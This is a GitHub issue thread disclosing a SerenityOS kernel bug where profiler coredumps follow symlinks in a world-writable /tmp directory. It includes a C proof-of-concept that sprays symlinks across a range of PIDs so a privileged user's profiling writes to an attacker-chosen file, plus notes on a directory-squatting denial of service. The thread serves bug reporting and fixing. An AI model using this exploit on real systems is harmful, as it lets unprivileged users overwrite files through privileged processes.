SerenityOS / serenity

The Serenity Operating System 🐞
https://serenityos.org
BSD 2-Clause "Simplified" License
30.66k stars 3.19k forks source link

Kernel: profiling follows symlinks for /tmp/profile_coredumps directory when writing core dump files #4850

Closed bcoles closed 3 years ago

bcoles commented 3 years ago

The /tmp/profiler_coredumps/ directory is used for storing coredumps created during process profiling with profile.

Side note: While not directly relevant, it is worth mentioning that this directory does not exist at system startup, which allows anyone to first create the directory. This leads to a trivial denial of service by setting strict ownership and file permissions, preventing others from accessing profiler coredumps.

This screenshot isn't clear, but the user creating the directory is nona, not anon. This prevents anon from writing a core dump.

profiler_coredumps owned by nona

If the directory does not exist, or has been removed, the next time a process is profiled the directory will be recreated with 777 permissions and root ownership :

image

https://github.com/SerenityOS/serenity/blob/d0a9954f0e8393c0eb68ca53bd246ed10d137361/Kernel/Syscalls/profiling.cpp#L49-L72

https://github.com/SerenityOS/serenity/blob/d0a9954f0e8393c0eb68ca53bd246ed10d137361/Kernel/Process.cpp#L600-L609

A combination of factors allow this functionality to be abused when a high privileged user profiles a process:

In theory, low-privileged users can spray symlinks for a range of PIDs (ie, 1-65535) into the /tmp/profiler_coredumps/ directory. When a higher privileged user attempts to profile a process, the coredump will be written to the location pointed to by the symlink.

/*
 * Copyright (c) 2020, the SerenityOS developers.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * 1. Redistributions of source code must retain the above copyright notice, this
 *    list of conditions and the following disclaimer.
 *
 * 2. Redistributions in binary form must reproduce the above copyright notice,
 *    this list of conditions and the following disclaimer in the documentation
 *    and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
 * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
 * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
 * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
 * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
 * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 */

#include <LibCore/ArgsParser.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <AK/Time.h>
#include <LibCore/DateTime.h>

int main(int argc, char** argv)
{
    const char* new_file = nullptr;

    Core::ArgsParser args_parser;
    args_parser.add_option(new_file, "File to create", nullptr, 'f', "file");
    args_parser.parse(argc, argv);

    long pid = getpid();
    dbg() << "PID: " << pid;

    for (auto i = 0; i < 100; ++i) {
        // Kernel/Syscalls/profiling.cpp:63:    if (auto coredump = CoreDump::create(*process, String::formatted("/tmp/profiler_coredumps/{}", pid))) {
        auto path = String::format("/tmp/profiler_coredumps/%d", pid + i);
        dbg() << "Path: " << path;
        int rc = symlink(new_file, path.characters());
        if (rc < 0) {
            perror("symlink");
            return 1;
        }
    }

    outln("Done. Now wait for a higher privileged user to use profile!");
    return 0;
}

At least, that was the plan. When I tried profiling by command or by process ID the system froze with no useful debug info printed to console.

system freeze

system freeze

The /etc/win file also wasn't created in the disk image:

no win

I'm not sure why the system freezes, but in theory this could be abused to write coredumps to any writable mounted filesystems

This issue is somewhat similar to #4435.

bcoles commented 3 years ago

A simpler approach is to simply replace the /tmp/profiler_coredumps/ directory with a symlink. However, this does not allow control over the destination filename (the PID is still used).

This also freezes the system with no useful debug information presented in the console.

system freeze

bcoles commented 3 years ago

It seems that symlinks are followed, but coredumps will not be written to a location on a different partition.

If a coredump path is a symlink pointing to:

Symlinking to paths within /tmp/* works :

coredump written to /tmp/rpc/